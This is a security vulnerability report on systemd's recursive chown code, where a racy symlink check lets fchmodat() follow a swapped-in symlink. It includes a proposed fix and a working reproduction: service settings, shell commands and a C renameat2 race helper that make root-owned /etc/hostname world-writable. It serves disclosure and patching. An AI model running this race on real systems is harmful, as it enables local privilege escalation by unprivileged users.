1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 |
[I am sending this bug report to Ubuntu, even though it's an upstream bug, as requested at https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports .] When chown_one() in the recursive chown logic decides that it has to change ownership of a directory entry, it first changes ownership as follows: if (name) r = fchownat(fd, name, uid, gid, AT_SYMLINK_NOFOLLOW); else r = fchown(fd, uid, gid); if (r < 0) return -errno; So far, this looks good. But then this happens: /* The linux kernel alters the mode in some cases of chown(). Let's undo this. */ if (name) { if (!S_ISLNK(st->st_mode)) r = fchmodat(fd, name, st->st_mode, 0); else /* There's currently no AT_SYMLINK_NOFOLLOW for fchmodat() */ r = 0; } else r = fchmod(fd, st->st_mode); This is dangerous, especially in the case where <code>name != NULL</code>. First off: I don't think that the overall objective of this code block makes sense. Yes, the kernel sometimes changes the mode when ownership is changed - but that's only for set-UID binaries and set-GID binaries (but not set-GID directories). I'm pretty sure that setuid/setgid binaries aren't supposed to appear in these directories anyway. The problem here is that, as the comment explains, fchmodat(fd, name, st->st_mode, 0)</code> follows symlinks. The fchmodat() call is guarded by a <code>S_ISLNK(st->st_mode)</code> check, but that's obviously racy and therefore doesn't actually help. My recommended fix is to just remove the offending code block. If, for some crazy reason, you actually want to support changing the ownership of setuid/setgid binaries, an alternative might be to do something like this: int fd2 = openat(fd, name, O_PATH|O_NOFOLLOW|O_CLOEXEC); if (fd2 >= 0) { fchmod(fd2, st->st_mode); close(fd2); } To reproduce, as root, create a service with "Restart=always", "StartLimitIntervalSec=0", "StateDirectory=test_service" and "User=user" (where "user" is the name of an unprivileged account). Point "ExecStart" at a binary that immediately exits: ======== int main(void) { return 0; } ======== Then start the service. Next, as the user the service is running as, create some entries in /var/lib/test_service: ======== user@ubuntu-18-04-vm:~$ cd /var/lib/test_service/ user@ubuntu-18-04-vm:/var/lib/test_service$ touch foo user@ubuntu-18-04-vm:/var/lib/test_service$ chmod 0666 foo user@ubuntu-18-04-vm:/var/lib/test_service$ ln -s /etc/hostname foo2 user@ubuntu-18-04-vm:/var/lib/test_service$ ln foo foo_link user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la total 8 drwxr-xr-x2 user user 4096 Okt8 16:42 . drwxr-xr-x 67 root root 4096 Okt8 15:30 .. -rw-rw-rw-2 user user0 Okt8 16:16 foo lrwxrwxrwx1 user user 13 Okt8 16:23 foo2 -> /etc/hostname -rw-rw-rw-2 user user0 Okt8 16:16 foo_link ======== Create and run a helper that continuously switches "foo" and "foo2" with each other: ======== user@ubuntu-18-04-vm:~$ cat exchange.c #define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <err.h> #include <sys/syscall.h> int main(int argc, char **argv) { char *base = argv[1], *p1 = argv[2], *p2 = argv[3]; if (chdir(base)) err(1, "chdir"); while (1) { if (syscall(__NR_renameat2, AT_FDCWD, p1, AT_FDCWD, p2, 2)) perror("renameat"); } } user@ubuntu-18-04-vm:~$ gcc -o exchange exchange.c -O2 user@ubuntu-18-04-vm:~$ ./exchange /var/lib/test_service foo foo2 ======== Change ownership of "foo_link" and the test_service directory to trigger the permission fixup logic when the service restarts the next time: ======== user@ubuntu-18-04-vm:/var/lib/test_service$ chown user:cdrom foo_link . ======== Check whether it worked: ======== user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname . -rw-r--r-- 1 root root 16 Jul3 19:20 /etc/hostname .: total 8 drwxr-xr-x2 user user 4096 Okt8 16:45 . drwxr-xr-x 67 root root 4096 Okt8 15:30 .. lrwxrwxrwx1 user user 13 Okt8 16:23 foo -> /etc/hostname -rw-rw-rw-2 user user0 Okt8 16:16 foo2 -rw-rw-rw-2 user user0 Okt8 16:16 foo_link ======== If it didn't work (as in this example), retry the chown a few times. After a few times, you should see this: ======== user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname . -rw-rw-rw- 1 root root 16 Jul3 19:20 /etc/hostname .: total 8 drwxr-xr-x2 user user 4096 Okt8 16:46 . drwxr-xr-x 67 root root 4096 Okt8 15:30 .. -rw-rw-rw-2 user user0 Okt8 16:16 foo lrwxrwxrwx1 user user 13 Okt8 16:23 foo2 -> /etc/hostname -rw-rw-rw-2 user user0 Okt8 16:16 foo_link ======== Another thing that might also go wrong, but that I haven't tested, is the interaction with the mount.ecryptfs_private helper that comes with ecryptfs. As far as I can tell, an attacker would be able to use mount.ecryptfs_private to mount an ecryptfs inside the StateDirectory. This ecryptfs instance could then function similar to a bind mount, causing systemd to change the ownership of files that are e.g. in /etc. You might want to ensure that no files or directories you access are located on an ecryptfs filesystem. |